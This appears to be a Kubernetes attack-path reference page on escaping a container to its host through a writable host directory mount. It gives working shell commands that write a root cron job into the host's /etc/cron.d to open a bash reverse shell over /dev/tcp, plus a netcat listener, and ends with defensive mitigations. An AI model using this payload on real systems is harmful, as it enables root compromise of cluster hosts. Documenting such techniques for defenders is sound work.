Skip to content


Source Destination MITRE
Container Node Escape to Host, T1611

Exploit an arbitrary write from a sensitive host path mounted into the container to gain execution on the host.


If a sensitive host directory is mounted in a container with write permissions there are a huge variety of techniques to achieve execution within a container. Given the array of techniques available we choose to assume that any writeable mount in a container is exploitable unless it corresponds to an entry in the "known-good" list of mounts. For illustration purposes we will consider an escape to host via creating a cron job to launch a reverse shell as the host's superuser if the host /etc directory is mounted with write permissions.


Execution within a container with a sensitive host directory mounted with write permissions.

See the example pod spec.


Check for interesting mounted volumes in the container as decribed in VOLUME_DISCOVER


Assuming the /etc/cron.d directory or any parent is mounted with write access, we can achieve execution on the host as follows. First, resolve the container ip address:

CONTAINER_ADDRESS=$(ifconfig eth0  | grep inet | cut -d: -f2 | awk '{ print $2}')

Then, create a cronjob to trigger a reverse shell connection from the host to our container:

echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > /host-etc/cron.d/breakout
echo -n "$" >> /host-etc/cron.d/breakout
echo -n "(hostname) " >> /host-etc/cron.d/breakout
echo -n "$" >> /host-etc/cron.d/breakout
echo "(id)\" >& /dev/tcp/${CONTAINER_ADDRESS}/1337 0>&1'" >> /host-etc/cron.d/breakout
netcat -l -p 1337 2>&1



  • Leverage cloud workload security solutions to monitor for malicious activity on the host

Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath mount of / or other sensitive locations.

Least Privilege

Avoid running containers as the root user. Enforce running as an unprivileged user account using the runAsNonRoot setting inside securityContext (or explicitly setting runAsUser to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false is set in securityContext to prevent a container running as an unprivileged user from being able to escalate to running as the root user.